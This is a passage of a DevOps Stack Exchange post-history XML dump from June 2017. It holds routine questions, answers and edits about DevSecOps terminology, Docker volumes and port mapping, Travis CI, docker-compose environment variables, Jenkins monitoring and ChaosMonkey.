driven in large part by automation; when creating a working server is a non-event, then servers become fully fungible and you no longer need to care about individual instances." ContentLicense="CC BY-SA 3.0" />
  <row Id="4490" PostHistoryTypeId="2" PostId="1374" RevisionGUID="153c0eff-3802-49b5-8c5e-aa6091cfdddd" CreationDate="2017-06-19T20:29:39.997" UserId="3189" Text="So you are looking for a software which is resource agnostic&#xD;&#xA;&#xD;&#xA; - provision any resource type &#xD;&#xA; - configure any resource type &#xD;&#xA; - execute on any resource&#xD;&#xA;&#xD;&#xA;I am biased but you can look at some [job schedulers](https://en.wikipedia.org/wiki/List_of_job_scheduler_software). We are currently using ProActive from Activeeon which should answer your needs but other may have similar behaviors." ContentLicense="CC BY-SA 3.0" />
  <row Id="4491" PostHistoryTypeId="2" PostId="1375" RevisionGUID="8c319699-a0ec-40fc-8d7b-c94d03d09e90" CreationDate="2017-06-19T20:37:44.267" UserId="707" Text="Or rather marketing slang? &#xA;Currently, I am not always sure how to build a consense which words deliver informational value and which are thought to attract customers.&#xA;So, DevOps would include security testing if required without calling it DevSecOps? Otherwise we will have DevPerfOps,  DevDevOpsOps etc" ContentLicense="CC BY-SA 3.0" />
  <row Id="4492" PostHistoryTypeId="1" PostId="1375" RevisionGUID="8c319699-a0ec-40fc-8d7b-c94d03d09e90" CreationDate="2017-06-19T20:37:44.267" UserId="707" Text="Is DevSecOps indeed a new practice worth a professional term?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4493" PostHistoryTypeId="3" PostId="1375" RevisionGUID="8c319699-a0ec-40fc-8d7b-c94d03d09e90" CreationDate="2017-06-19T20:37:44.267" UserId="707" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4494" PostHistoryTypeId="2" PostId="1376" RevisionGUID="ffd2540d-0f78-4c71-8716-da9cc5ef6abc" CreationDate="2017-06-20T11:28:25.987" UserId="3158" Text="`db_data:/var/lib/mysql` simply means that the `db_data` volume that was previously created will be made available in the container at `/var/lib/mysql`.&#xD;&#xA;&#xD;&#xA;In you example it's created at the very end of the compose file.  &#xD;&#xA;From the Docker documentation: &quot;The docker volume db_data persists any updates made by Wordpress to the database.&quot;&#xD;&#xA;&#xD;&#xA;Compose volumes works the same way as the Docker engine.&#xD;&#xA;&#xD;&#xA;In you case db_data is just a named volume instead of a path like your second example." ContentLicense="CC BY-SA 3.0" />
  <row Id="4495" PostHistoryTypeId="2" PostId="1377" RevisionGUID="6689e9ef-e27e-4017-8b53-35ad44ac6106" CreationDate="2017-06-20T14:22:23.827" UserId="707" Text="Docker daemon allows, according to documentatio, using memory storage driver for its images.&#xD;&#xA;Has anybody any daily business experiences with that?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4496" PostHistoryTypeId="1" PostId="1377" RevisionGUID="6689e9ef-e27e-4017-8b53-35ad44ac6106" CreationDate="2017-06-20T14:22:23.827" UserId="707" Text="Docker memory storage" ContentLicense="CC BY-SA 3.0" />
  <row Id="4497" PostHistoryTypeId="3" PostId="1377" RevisionGUID="6689e9ef-e27e-4017-8b53-35ad44ac6106" CreationDate="2017-06-20T14:22:23.827" UserId="707" Text="&lt;docker&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4498" PostHistoryTypeId="2" PostId="1378" RevisionGUID="bec5b0cd-8b0e-4c8c-bb68-84dfae8f1469" CreationDate="2017-06-20T15:34:34.453" UserId="707" Text="Is this correct that if I decide to setup an own TravisCI agent, I will be enabled to be independent of the existing distributed Travis computation network?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4499" PostHistoryTypeId="1" PostId="1378" RevisionGUID="bec5b0cd-8b0e-4c8c-bb68-84dfae8f1469" CreationDate="2017-06-20T15:34:34.453" UserId="707" Text="Question to usage of TravisCI" ContentLicense="CC BY-SA 3.0" />
  <row Id="4500" PostHistoryTypeId="3" PostId="1378" RevisionGUID="bec5b0cd-8b0e-4c8c-bb68-84dfae8f1469" CreationDate="2017-06-20T15:34:34.453" UserId="707" Text="&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4501" PostHistoryTypeId="2" PostId="1379" RevisionGUID="68909b24-7349-4e57-84aa-2c5fd5dd64f0" CreationDate="2017-06-20T17:53:11.107" UserId="72" Text="In my experience, the purpose of the &quot;DevSecOps&quot; (or whichever order you prefer) has mostly to do with including Security as a first-order concern of software delivery.  Security is commonly treated as a &quot;bolt-on&quot; (often meaning *optional*,) non-functional requirement.  DevSecOps attempts to describe a process where security concerns are folded into the delivery process at every step of the value stream.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4502" PostHistoryTypeId="2" PostId="1380" RevisionGUID="e085b68c-8101-4688-85f7-6b042e1efaeb" CreationDate="2017-06-20T17:56:36.737" UserId="72" Text="According to the [documentation][1], memory storage is intended for testing purposes only and should never be used in production.  The only practical purpose I can think of for this might be state testing, such as with Serverspec or Inspec, to validate configurations.  Using memory storage for this purpose *might* be a little faster and use less disk storage.  I'm not sure those benefits are worth the effort to implement.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/1377/docker-memory-storage" ContentLicense="CC BY-SA 3.0" />
  <row Id="4503" PostHistoryTypeId="2" PostId="1381" RevisionGUID="c92a8c9b-46b8-4261-8742-68eb824de9f6" CreationDate="2017-06-20T18:34:11.043" UserId="6" Text="Is it Manufacturing or Projects?&#xD;&#xA;&#xD;&#xA;Definitions I am using for these:&#xD;&#xA;&#xD;&#xA;&gt; **Project**&#xD;&#xA;&gt;&#xD;&#xA;&gt; Planned set of interrelated tasks to be executed over a fixed period and within certain cost and other limitations.&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt; **Manufacturing**&#xD;&#xA;&gt;&#xD;&#xA;&gt; The process of converting raw materials, components, or parts into finished goods that meet a customer's&#xD;&#xA;&gt; expectations or specifications. Manufacturing commonly employs a&#xD;&#xA;&gt; man-machine setup with division of labor in a large scale production.&#xD;&#xA;&#xD;&#xA;I can suggest that in software development _manufacturing_ translates to:&#xD;&#xA;&#xD;&#xA;    &quot;raw materials&quot; = requirements and specifications&#xD;&#xA;    &quot;parts&quot; = software libraries&#xD;&#xA;    &quot;finished goods&quot; = service/software deployed and serving customers&#xD;&#xA;    &quot;man-machine setup&quot; = configuration of environments&#xD;&#xA;    &quot;division of labor&quot; = dev and ops and qa, etc...&#xD;&#xA;    &quot;large scale production&quot; = lots and lots and lots of code" ContentLicense="CC BY-SA 3.0" />
  <row Id="4504" PostHistoryTypeId="1" PostId="1381" RevisionGUID="c92a8c9b-46b8-4261-8742-68eb824de9f6" CreationDate="2017-06-20T18:34:11.043" UserId="6" Text="&quot;Software Development&quot; which environment is it: Manufacturing or Projects?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4505" PostHistoryTypeId="3" PostId="1381" RevisionGUID="c92a8c9b-46b8-4261-8742-68eb824de9f6" CreationDate="2017-06-20T18:34:11.043" UserId="6" Text="&lt;software-engineering&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4506" PostHistoryTypeId="5" PostId="1381" RevisionGUID="b846c3e1-dc65-483b-b2b4-73137d3b3818" CreationDate="2017-06-20T21:04:15.343" UserId="6" Comment="added 182 characters in body" Text="Is it Manufacturing or Projects?&#xD;&#xA;&#xD;&#xA;Definitions I am using for these:&#xD;&#xA;&#xD;&#xA;&gt; **Project**&#xD;&#xA;&gt;&#xD;&#xA;&gt; Planned set of interrelated tasks to be executed over a fixed period and within certain cost and other limitations.&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt; **Manufacturing**&#xD;&#xA;&gt;&#xD;&#xA;&gt; The process of converting raw materials, components, or parts into finished goods that meet a customer's&#xD;&#xA;&gt; expectations or specifications. Manufacturing commonly employs a&#xD;&#xA;&gt; man-machine setup with division of labor in a large scale production.&#xD;&#xA;&#xD;&#xA;I can suggest that in software development _manufacturing_ translates to:&#xD;&#xA;&#xD;&#xA;    &quot;raw materials&quot; = requirements and specifications&#xD;&#xA;    &quot;parts&quot; = software libraries&#xD;&#xA;    &quot;finished goods&quot; = service/software deployed and serving customers&#xD;&#xA;    &quot;man-machine setup&quot; = configuration of environments&#xD;&#xA;    &quot;division of labor&quot; = dev and ops and qa, etc...&#xD;&#xA;    &quot;large scale production&quot; = lots and lots and lots of code&#xD;&#xA;&#xD;&#xA;When I write &quot;Software Development&quot; I actually mean the whole cycle that includes lead-time from the point where some customer need is discovered, to the point of customer value created and delivered." ContentLicense="CC BY-SA 3.0" />
  <row Id="4507" PostHistoryTypeId="2" PostId="1382" RevisionGUID="66ea0b68-b97a-43c4-9bb1-bc7381006303" CreationDate="2017-06-21T05:35:31.587" UserId="154" Text="Travis CI doesn't offer running your own workers, you use their infrastructure unless you mean the on-prem Travis Enterprise. You might be thinking of GitLab CI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4508" PostHistoryTypeId="2" PostId="1383" RevisionGUID="2833140c-3d82-48cc-8024-4547354ec13b" CreationDate="2017-06-21T05:54:58.987" UserId="2524" Text="I pulled the docker image and is up to date. When  I  run it it says that it's going to be accessible at 8888 on  my localhost but when  I try to  access it resource can't be found.&#xD;&#xA;&#xD;&#xA;I have added the image below. what could I  be  doing wrong?[![docker output][1]][1]&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/QZpaV.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="4509" PostHistoryTypeId="1" PostId="1383" RevisionGUID="2833140c-3d82-48cc-8024-4547354ec13b" CreationDate="2017-06-21T05:54:58.987" UserId="2524" Text="Unable to get jupyter/scipy-notebook running on docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="4510" PostHistoryTypeId="3" PostId="1383" RevisionGUID="2833140c-3d82-48cc-8024-4547354ec13b" CreationDate="2017-06-21T05:54:58.987" UserId="2524" Text="&lt;docker&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4512" PostHistoryTypeId="5" PostId="1383" RevisionGUID="1345cb9a-53b8-49c9-a901-3c0deeb79998" CreationDate="2017-06-21T06:17:34.837" UserId="2524" Comment="added 1134 characters in body" Text="I pulled the docker image and is up to date. When  I  run it it says that it's going to be accessible at 8888 on  my localhost but when  I try to  access it resource can't be found.&#xD;&#xA;&#xD;&#xA;Here is the output:&#xD;&#xA;&#xD;&#xA;    sudo docker run jupyter/scipy-notebook #jupyter&#xD;&#xA;    [sudo] password for tech: &#xD;&#xA;    Execute the command&#xD;&#xA;    [I 06:16:54.964 NotebookApp] Writing notebook server cookie secret to /home/jovyan/.local/share/jupyter/runtime/notebook_cookie_secret&#xD;&#xA;    [W 06:16:55.137 NotebookApp] WARNING: The notebook server is listening on all IP addresses and not using encryption. This is not recommended.&#xD;&#xA;    [I 06:16:55.195 NotebookApp] JupyterLab alpha preview extension loaded from /opt/conda/lib/python3.5/site-packages/jupyterlab&#xD;&#xA;    [I 06:16:55.211 NotebookApp] Serving notebooks from local directory: /home/jovyan&#xD;&#xA;    [I 06:16:55.211 NotebookApp] 0 active kernels &#xD;&#xA;    [I 06:16:55.211 NotebookApp] The Jupyter Notebook is running at: http://[all ip addresses on your system]:8888/?token=8bc0bf76526f10c078aad705f48f80598fe17aade9897db8&#xD;&#xA;    [I 06:16:55.211 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).&#xD;&#xA;    [C 06:16:55.212 NotebookApp] &#xD;&#xA;        &#xD;&#xA;        Copy/paste this URL into your browser when you connect for the first time,&#xD;&#xA;        to login with a token:&#xD;&#xA;            http://localhost:8888/?token=8bc0bf76526f10c078aad705f48f80598fe17aade9897db8&#xD;&#xA;&#xD;&#xA;what could I  be  doing wrong?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4513" PostHistoryTypeId="2" PostId="1385" RevisionGUID="928b4bc6-140e-464c-8d16-f4fc4a4ae488" CreationDate="2017-06-21T08:03:25.903" UserId="2524" Text="It turned out to be an issue with port mapping. After mapping local machine port 8888 to docker's 8888 I could launch the program in browser.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo docker run -p 8888:8888 jupyter/scipy-notebook " ContentLicense="CC BY-SA 3.0" />
  <row Id="4514" PostHistoryTypeId="2" PostId="1386" RevisionGUID="6341deb1-0553-4d01-b728-1b19f53757f6" CreationDate="2017-06-21T09:28:58.713" UserId="3214" Text="A project in DEVOPS should logically change the management mechanisms.&#xD;&#xA;What are the responsibilities of a project manager in a DEVOPS project ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4515" PostHistoryTypeId="1" PostId="1386" RevisionGUID="6341deb1-0553-4d01-b728-1b19f53757f6" CreationDate="2017-06-21T09:28:58.713" UserId="3214" Text="What are the responsibilities of a project manager in a DEVOPS project" ContentLicense="CC BY-SA 3.0" />
  <row Id="4516" PostHistoryTypeId="3" PostId="1386" RevisionGUID="6341deb1-0553-4d01-b728-1b19f53757f6" CreationDate="2017-06-21T09:28:58.713" UserId="3214" Text="&lt;project-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4517" PostHistoryTypeId="2" PostId="1387" RevisionGUID="8c446fe7-cff4-438c-b084-431ffd01a9bc" CreationDate="2017-06-21T11:30:37.370" UserId="707" Text="Sorry for my lacking vocabulary that I am not sure how to designate two types of organizations I would like to talk about before I can put my question. Anybody capable of better wording feel free to improve this. &#xD;&#xA;Probably there are mixed types but I suppose I have to polarize a little bit to make the point.&#xD;&#xA;&#xD;&#xA;**OrgType1:** &quot;digitalized product organizatons&quot; either B2B or B2C, they have their products, as they become more and more digital, they have some own IT product teams and IT operations. They have found out that they need diversification quite recently. &#xD;&#xA;&#xD;&#xA;**OrgType2:** &quot;digital consulting service organizations&quot; (not necesarily just IT consulting but they are typical example here) these guys are B2B only, if they have continued real products then it is rather a side effect. Rather, a software product lifecycle is limited to just one or several projects, and that diversification has always been their core business. Actually, a product is always a member of this organization who could but not always does, develop software. &#xD;&#xA;&#xD;&#xA;OK then, so OrgType1 is clearly what we know DevOps is great help, because there are established processes. Well, bigger organizations consist of many parts, regional business units, business lines, departments, and every one has its combination between operations and their-own-breed-of Devops. Okay - anyway there can be some evolution.&#xD;&#xA;&#xD;&#xA;OrgType2 can care about DevOps only so much as it is important for their customer (or they even sell DevOps consulting ;) but then if it comes to onsite software development, you somehow start from zero in almost every project, and this is magnified as with OrgType1 through all departments, business units and so on but it is worth because every &quot;DevOps entity&quot; starts just with 1-2 people who need to discover what they are up to. Seems like OrgType2 is &quot;siloed by design&quot; in a much more dense way which makes it also somehow scalable and persistent.&#xD;&#xA;&#xD;&#xA;This all considered and taken into account, the question from my current perspective is: how do DevOps practices apply here, maybe there are resources where this has been explored?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4518" PostHistoryTypeId="1" PostId="1387" RevisionGUID="8c446fe7-cff4-438c-b084-431ffd01a9bc" CreationDate="2017-06-21T11:30:37.370" UserId="707" Text="Which organization types are targeted by DevOps transformation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4519" PostHistoryTypeId="3" PostId="1387" RevisionGUID="8c446fe7-cff4-438c-b084-431ffd01a9bc" CreationDate="2017-06-21T11:30:37.370" UserId="707" Text="&lt;transformation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4520" PostHistoryTypeId="5" PostId="1387" RevisionGUID="5680abeb-4946-4e40-ac5d-7d74beef827e" CreationDate="2017-06-21T11:55:52.140" UserId="707" Comment="added 8 characters in body" Text="Due to my lacking vocabulary in this context I am not sure how to designate two types of organizations I would like to talk about before I can put my question. Anybody capable of better wording feel free to improve this. &#xD;&#xA;Probably there are mixed types but I suppose I have to polarize a little bit to make the point.&#xD;&#xA;&#xD;&#xA;**OrgType1:** &quot;digitalized product organizatons&quot; either B2B or B2C, they have their products, as they become more and more digital, they have some own IT product teams and IT operations. They have found out that they need diversification quite recently. &#xD;&#xA;&#xD;&#xA;**OrgType2:** &quot;digital consulting service organizations&quot; (not necesarily just IT consulting but they are typical example here) these guys are B2B only, if they have continued real products then it is rather a side effect. Rather, a software product lifecycle is limited to just one or several projects, and that diversification has always been their core business. Actually, a product is always a member of this organization who could but not always does, develop software. &#xD;&#xA;&#xD;&#xA;OK then, so OrgType1 is clearly what we know DevOps is great help, because there are established processes. Well, bigger organizations consist of many parts, regional business units, business lines, departments, and every one has its combination between operations and their-own-breed-of Devops. Okay - anyway there can be some evolution.&#xD;&#xA;&#xD;&#xA;OrgType2 can care about DevOps only so much as it is important for their customer (or they even sell DevOps consulting ;) but then if it comes to onsite software development, you somehow start from zero in almost every project, and this is magnified as with OrgType1 through all departments, business units and so on but it is worth because every &quot;DevOps entity&quot; starts just with 1-2 people who need to discover what they are up to. Seems like OrgType2 is &quot;siloed by design&quot; in a much more dense way which makes it also somehow scalable and persistent.&#xD;&#xA;&#xD;&#xA;This all considered and taken into account, the question from my current perspective is: how do DevOps practices apply here, maybe there are resources where this has been explored?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4521" PostHistoryTypeId="5" PostId="1386" RevisionGUID="a54c55bf-3bba-40bd-b339-de4696052051" CreationDate="2017-06-21T15:26:38.447" UserId="707" Comment="changed spelling DEVOPS to more common DevOps, add question mark" Text="A project in DevOps should logically change the management mechanisms.&#xD;&#xA;What are the responsibilities of a project manager in a DevOps project ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4522" PostHistoryTypeId="4" PostId="1386" RevisionGUID="a54c55bf-3bba-40bd-b339-de4696052051" CreationDate="2017-06-21T15:26:38.447" UserId="707" Comment="changed spelling DEVOPS to more common DevOps, add question mark" Text="What are the responsibilities of a project manager in a DevOps project?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4523" PostHistoryTypeId="24" PostId="1386" RevisionGUID="a54c55bf-3bba-40bd-b339-de4696052051" CreationDate="2017-06-21T15:26:38.447" Comment="Proposed by 707 approved by 47, 14 edit id of 369" ContentLicense="CC BY-SA 3.0" />
  <row Id="4524" PostHistoryTypeId="5" PostId="1387" RevisionGUID="c3fded66-217a-4458-ba55-8cd4d8521e9d" CreationDate="2017-06-21T15:59:43.657" UserId="707" Comment="added 12 characters in body" Text="Due to my lacking vocabulary in this context I am not sure how to designate the two types of organizations I would like to talk about before I can put my question. Anybody capable of better wording feel free to improve this. &#xD;&#xA;Probably there are mixed types but I suppose I have to polarize a little bit to make the point.&#xD;&#xA;&#xD;&#xA;**OrgType1:** &quot;digitalized product organizatons&quot; either B2B or B2C, they have their products, as they become more and more digital, they have some own IT product teams and IT operations. They have found out that they need (more than before) product diversification quite recently. &#xD;&#xA;&#xD;&#xA;**OrgType2:** &quot;digital consulting service organizations&quot; (not necesarily just IT consulting but they are typical example here) these guys are B2B only, if they have sustainable products and related operations then it is rather a side effect. &#xD;&#xA;Rather, their software product lifecycle is limited to just one or several projects, and that diversification has always been their core business. Actually, the real product is here much more every single member of this organization who could, but by far not always does, develop software. &#xD;&#xA;&#xD;&#xA;OK then, so OrgType1 is clearly what we know DevOps is great help, because there are established processes. Well, bigger organizations consist of many parts, regional business units, business lines, departments, and every one has its combination between operations and their-own-breed-of Devops. Okay - anyway there can be some evolution.&#xD;&#xA;&#xD;&#xA;OrgType2 can care about DevOps only so much as it is important for their customer (or they even sell DevOps consulting ;) but then if it comes to onsite software development, you somehow start from zero in almost every project, and this is magnified as with OrgType1 through all departments, business units and so on but it is worth because every &quot;DevOps entity&quot; starts just with 1-2 people who need to discover what they are up to. Seems like OrgType2 is &quot;siloed by design&quot; in a much more dense way which makes it also somehow scalable and persistent.&#xD;&#xA;&#xD;&#xA;This all considered and taken into account, the question from my current perspective is: how do DevOps practices apply for the OrgType2, maybe there are resources where this has been explored?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4525" PostHistoryTypeId="5" PostId="1387" RevisionGUID="fb5c1c2f-f97c-4a68-aee9-9fbc6d2318ab" CreationDate="2017-06-21T16:05:05.837" UserId="707" Comment="added 22 characters in body" Text="Due to my lacking vocabulary in this context I am not sure how to designate the two types of organizations I would like to talk about before I can put my question. Anybody capable of better wording feel free to improve this. &#xD;&#xA;Probably there are mixed types but I suppose I have to polarize a little bit to make the point.&#xD;&#xA;&#xD;&#xA;**OrgType1:** &quot;digitalized product organizatons&quot; either B2B or B2C, they have their products, as they become more and more digital, they have some own IT product teams and IT operations. They have found out that they need (more than before) product diversification quite recently. &#xD;&#xA;&#xD;&#xA;**OrgType2:** &quot;digital consulting service organizations&quot; (not necesarily just IT consulting but they are typical example here) these guys are B2B only, if they have sustainable products and related operations then it is rather a side effect. &#xD;&#xA;Rather, their software product lifecycle is limited to just one or several projects, and that diversification has always been their core business. Actually, the real product is here much more every single member of this organization who depending on the role might, but by far not always does, develop software. &#xD;&#xA;&#xD;&#xA;OK then, so OrgType1 is clearly what we already that know DevOps is of great help, because there are established delivery processes, they get disrupted, need to be optimized, and so on and so forth. Well, bigger organizations consist of many parts, regional business units, business lines, departments, and every one has its combination between operations and their-own-breed-of Devops. Okay - anyway there can be some evolution.&#xD;&#xA;&#xD;&#xA;OrgType2 can care about DevOps only so much as it is important for their customer (or they even sell DevOps consulting ;) but then if it comes to onsite software development, you somehow start from zero in almost every project, and this is magnified as with OrgType1 through all departments, business units and so on but it is worth because every &quot;DevOps entity&quot; starts just with 1-2 people who need to discover what they are up to. Seems like OrgType2 is &quot;siloed by design&quot; in a much more dense way which makes it also somehow scalable and persistent.&#xD;&#xA;&#xD;&#xA;This all considered and taken into account, the question from my current perspective is: how do DevOps practices apply for the OrgType2, maybe there are resources where this has been explored?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4527" PostHistoryTypeId="5" PostId="1387" RevisionGUID="c13d7803-d5ba-4b8f-abbc-7b9b5c4b9db4" CreationDate="2017-06-21T17:44:38.167" UserId="707" Comment="added 2 characters in body" Text="Due to my lacking vocabulary in this context I am not sure how to designate the two types of organizations I would like to talk about before I can put my question. Anybody capable of better wording feel free to improve this. &#xD;&#xA;Probably there are mixed types but I suppose I have to polarize a little bit to make the point.&#xD;&#xA;&#xD;&#xA;**OrgType1:** &quot;digitalized product organizatons&quot; either B2B or B2C, they have their products, as they become more and more digital, they have some own IT product teams and IT operations. They have found out that they need (more than before) product diversification quite recently. &#xD;&#xA;&#xD;&#xA;**OrgType2:** &quot;digital consulting service organizations&quot; (not necesarily just IT consulting but they are typical example here) these guys are B2B only, if they have sustainable products and related operations then it is rather a side effect. &#xD;&#xA;Rather, their software product lifecycle is limited to just one or several projects, and that diversification has always been their core business. Actually, the real product is here much more every single member of this organization who depending on the role might, but by far not always does, develop software. &#xD;&#xA;&#xD;&#xA;OK then, so OrgType1 is clearly what we already know that DevOps is of a great help, because there are established delivery processes, they get disrupted, need to be optimized, and so on and so forth. Well, bigger organizations consist of many parts, regional business units, business lines, departments, and every one has its combination between operations and their-own-breed-of Devops. Okay - anyway there can be some evolution.&#xD;&#xA;&#xD;&#xA;OrgType2 can care about DevOps only so much as it is important for their customer (or they even sell DevOps consulting ;) but then if it comes to onsite software development, you somehow start from zero in almost every project, and this is magnified as with OrgType1 through all departments, business units and so on but it is worth because every &quot;DevOps entity&quot; starts just with 1-2 people who need to discover what they are up to. Seems like OrgType2 is &quot;siloed by design&quot; in a much more dense way which makes it also somehow scalable and persistent.&#xD;&#xA;&#xD;&#xA;This all considered and taken into account, the question from my current perspective is: how do DevOps practices apply for the OrgType2, maybe there are resources where this has been explored?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4528" PostHistoryTypeId="2" PostId="1388" RevisionGUID="47e0fa41-67bd-4f97-bb4f-204b457947c3" CreationDate="2017-06-21T17:58:19.203" UserId="3220" Text="Currently, we use Jenkins to run small node.js scripts in order to check if applications are doing what they're supposed to. Like, we have some routines which should run in an interval and we need to check if these routines have run and have done everything we expect.&#xD;&#xA;&#xD;&#xA;Why Jenkins? Mostly because we can just login and look at the dashboard and see the health status of all our jobs at a glance; we can set up notifications; and because we don't know other tools to execute our scripts in a &quot;monitoring&quot; way.&#xD;&#xA;&#xD;&#xA;But we know we're misusing Jenkins and the problems we have faced (like an attack we suffered which used you Jenkins instance to attack a credit card company and the constant instability) are making us look for another tool (or tools).&#xD;&#xA;&#xD;&#xA;But all I could find was performance monitoring tools. What tools do you guys use to monitor things other than performance?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4529" PostHistoryTypeId="1" PostId="1388" RevisionGUID="47e0fa41-67bd-4f97-bb4f-204b457947c3" CreationDate="2017-06-21T17:58:19.203" UserId="3220" Text="What tools do you use to monitor applicaitons and business-specific data? (apart from Jenkins)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4530" PostHistoryTypeId="3" PostId="1388" RevisionGUID="47e0fa41-67bd-4f97-bb4f-204b457947c3" CreationDate="2017-06-21T17:58:19.203" UserId="3220" Text="&lt;jenkins&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4531" PostHistoryTypeId="2" PostId="1389" RevisionGUID="60b6f61c-90b5-4d3a-942b-16f6a3e7dcd1" CreationDate="2017-06-21T18:34:54.367" UserId="3062" Text="Using visual studio online, do I need a separate user for the purpose of ferrying code/builds across machines.  I understand that the built in service account builds code and can publish, but with things like Jenkins that require access tokens to retrieve source code (for projects like unity (no we are not able to use unity build)) I find it would be best to have a 'service' account where I can create personal access tokens that isn't tied to any one developer.&#xD;&#xA;&#xD;&#xA;Do I need a 'build' user or is there another way to ferry code to Jenkins servers or using personal access tokens for deployment groups?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4532" PostHistoryTypeId="1" PostId="1389" RevisionGUID="60b6f61c-90b5-4d3a-942b-16f6a3e7dcd1" CreationDate="2017-06-21T18:34:54.367" UserId="3062" Text="Build user for Visual Studio Online" ContentLicense="CC BY-SA 3.0" />
  <row Id="4533" PostHistoryTypeId="3" PostId="1389" RevisionGUID="60b6f61c-90b5-4d3a-942b-16f6a3e7dcd1" CreationDate="2017-06-21T18:34:54.367" UserId="3062" Text="&lt;jenkins&gt;&lt;continuous-deployment&gt;&lt;build-pipeline&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4534" PostHistoryTypeId="2" PostId="1390" RevisionGUID="a0707cbf-36c8-4fd3-9e07-d10e17ea0768" CreationDate="2017-06-21T22:47:47.187" UserId="3222" Text="I have the following environment variable configured in a docker-compose.yml file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      server:&#xD;&#xA;        ports:&#xD;&#xA;         - 13045:3000&#xD;&#xA;        environment:&#xD;&#xA;         - NODE_CONFIG: '{&quot;DATABASE_URL&quot;:&quot;http://db:5984&quot;}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When trying to run `docker-compose up`, I'm getting this error:&#xD;&#xA;&#xD;&#xA;    services.server.environment contains {&quot;NODE_CONFIG&quot;: &quot;{\&quot;DATABASE_URL\&quot;:\&quot;http://db:5984\&quot;}&quot;}, which is an invalid type, it should be a string&#xD;&#xA;&#xD;&#xA;I need the environment variable to be set to a JSON string (see https://github.com/lorenwest/node-config/wiki/Environment-Variables#node_config)&#xD;&#xA;&#xD;&#xA;Am I doing something wrong here? Can I get this to work somehow?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4535" PostHistoryTypeId="1" PostId="1390" RevisionGUID="a0707cbf-36c8-4fd3-9e07-d10e17ea0768" CreationDate="2017-06-21T22:47:47.187" UserId="3222" Text="docker-compose invalid type, it should be a string" ContentLicense="CC BY-SA 3.0" />
  <row Id="4536" PostHistoryTypeId="3" PostId="1390" RevisionGUID="a0707cbf-36c8-4fd3-9e07-d10e17ea0768" CreationDate="2017-06-21T22:47:47.187" UserId="3222" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4537" PostHistoryTypeId="4" PostId="1388" RevisionGUID="56ff3691-b5df-4f99-a54b-5de3ff866416" CreationDate="2017-06-21T23:35:09.437" UserId="47" Comment="fixed typo in title" Text="What tools do you use to monitor applications and business-specific data? (apart from Jenkins)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4538" PostHistoryTypeId="2" PostId="1391" RevisionGUID="953b158a-5baa-459f-a36c-af4575c90b57" CreationDate="2017-06-22T07:42:46.350" UserId="210" Text="According to [this documentation][1], ChoasMonkey seems to be restricted to AWS:&#xD;&#xA;&#xD;&#xA;&gt; Get Auto Scaling Tools&#xD;&#xA;&gt; &#xD;&#xA;&gt; You can use the new AWS CLI tools:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ sudo pip install awscli&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it possible to use ChaosMonkey on other platforms as well?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Netflix/SimianArmy/wiki/Quick-Start-Guide" ContentLicense="CC BY-SA 3.0" />
  <row Id="4539" PostHistoryTypeId="1" PostId="1391" RevisionGUID="953b158a-5baa-459f-a36c-af4575c90b57" CreationDate="2017-06-22T07:42:46.350" UserId="210" Text="Is the use of ChaosMonkey restricted to AWS?" ContentLicense="CC BY-SA 3.0" />
